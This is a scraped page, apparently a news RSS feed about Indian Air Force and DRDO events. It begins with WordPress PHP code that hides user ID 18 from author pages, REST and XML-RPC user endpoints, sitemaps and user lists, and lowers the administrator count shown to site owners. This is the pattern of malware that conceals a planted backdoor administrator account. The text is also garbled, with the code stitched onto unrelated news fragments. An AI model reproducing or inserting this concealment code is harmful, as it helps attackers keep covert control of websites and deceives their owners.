add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Long Range Bomb Successfully Flight-Tested By Air Force, Defence Body DRDO appeared first on The Edge Media.
]]>
The LR Bomb was accurately guided to a land-based target at long range within prescribed limits after being released by an IAF fighter aircraft. They claimed that all of the mission’s goals were met.
Several range sensors, including the Electro-Optical Tracking System, telemetry, and radar installed by the Integrated Test Range at Chandipur in Odisha, observed the bomb’s flight and performance, according to the sources.
The post Long Range Bomb Successfully Flight-Tested By Air Force, Defence Body DRDO appeared first on The Edge Media.
]]>The post The S-400 should be delivered to the Air Force this year: VR Chaudhari, Air Chief Marshal appeared first on The Edge Media.
]]>
He added that the Chinese air force is still present on three air bases on their side of the Line of Actual Control (LAC) and assured that the IAF is fully deployed and prepared. The Air Force chief also said that China’s capability to launch multiple high-altitude missions would remain weak, adding that the induction of Rafale, Apaches has significantly added to the force’s combat potential.
The post The S-400 should be delivered to the Air Force this year: VR Chaudhari, Air Chief Marshal appeared first on The Edge Media.
]]>The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>This evacuation came about a week after the last group of Indians, the workers of the Indian Embassy in Kabul, arrived in Jamnagar, Gujarat. Kabul. Among the evacuees were 24 Sikhs, including two Afghan senators.
Air India, IndiGo, and Vistara, three additional flights carrying Indians evacuated from Kabul, landed in the national capital earlier in the day from Tajikistan’s capital Dushanbe and Qatar’s Doha. According to government sources, India has been granted permission to fly two aircraft per day from Kabul to remove its people stranded in Afghanistan.
The Taliban’s ‘capture’ of Indian citizens comes only hours after an Air Force transport plane successfully evacuated 85 Indians from Kabul.
The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>